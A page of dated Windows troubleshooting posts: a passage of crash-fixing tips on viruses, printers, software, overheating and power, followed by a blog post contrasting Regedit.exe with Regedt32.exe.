Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8 Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9 Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10 Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

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Posted in: Microsoft,Security,Windows,Windows 7,Windows XP

Regedit.exe & Regedt32.exe, Whats the difference......

Have you ever noticed that there are two versions of the Registry Editor on your computer? Ever wondered why? Well let me just give you a little insight!

It all depends on your Operating System. If you have Windows 2000 :

Regedit.exe

Regedit.exe is included with Windows NT 4.0 and Windows 2000 primarily for its search capability. You can use Regedit.exe to make changes in the Windows NT 4.0 and Windows 2000 registry, but you cannot use it to view or edit all functions or data types on Windows NT 4.0 and Windows 2000.

The following limitations exist in the Regedit.exe version that is included with Windows NT 4.0 and Windows 2000:

You cannot set the security for registry keys.
You cannot view, edit, or search the value data types <>REG_EXPAND_SZ and <>REG_MULTI_SZ. If you try to view a <>REG_EXPAND_SZ value, Regedit.exe displays it as a binary data type. If you try to edit either of these data types, Regedit.exe saves it as <>REG_SZ, and the data type no longer performs its intended function.
You cannot save or restore keys as hive files.
Microsoft recommends that you use Regedit.exe only for its search capabilities on a Windows NT 4.0-based or Windows 2000-based computer.

Regedt32.exe

Regedt32.exe is the configuration editor for Windows NT 4.0 and Windows 2000. Regedt32.exe is used tomodify the Windows NT configuration database, or the Windows NTregistry. This editor allows you to view or modify the Windows NT registry.The editor provides views of windows that represent sections of theregistry, named hives. Each window displays two sections. On the leftside, there are folders that represent registry keys. On the right side,there are the values associated with the selected registry key. Regedt32 isa powerful tool, and you must use it with extreme caution when you changeregistry values. Missing or incorrect values in the registry can make theWindows installation unusable.

Note: Unlike Regedit.exe, Regedt32.exe does not support importing and exporting registration entries (.reg) files.

Or..Windows XP and Windows Server 2003

Regedit.exe

Regedit.exe is the configuration editor for Windows XP and Windows Server 2003. Regedit.exe is used tomodify the Windows NT configuration database, or the Windows NTregistry. This editor allows you to view or modify the Windows NT registry. It supports setting security on registry keys, viewing and editing <>REG_EXPAND_SZ and <>REG_MULTI_SZ, and saving and restoring hive files.On the leftside, there are folders that represent registry keys. On the right side,there are the values associated with the selected registry key. Regedit isa powerful tool. You must use extreme caution when you use it to changeregistry values. Missing or incorrect values in the registry can make theWindows installation unusable.

Regedt32.exe

In Windows XP and Windows Server 2003, Regedt32.exe is a small program that just runs Regedit.exe.

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Posted in: Microsoft,Windows,Windows 7,Windows XP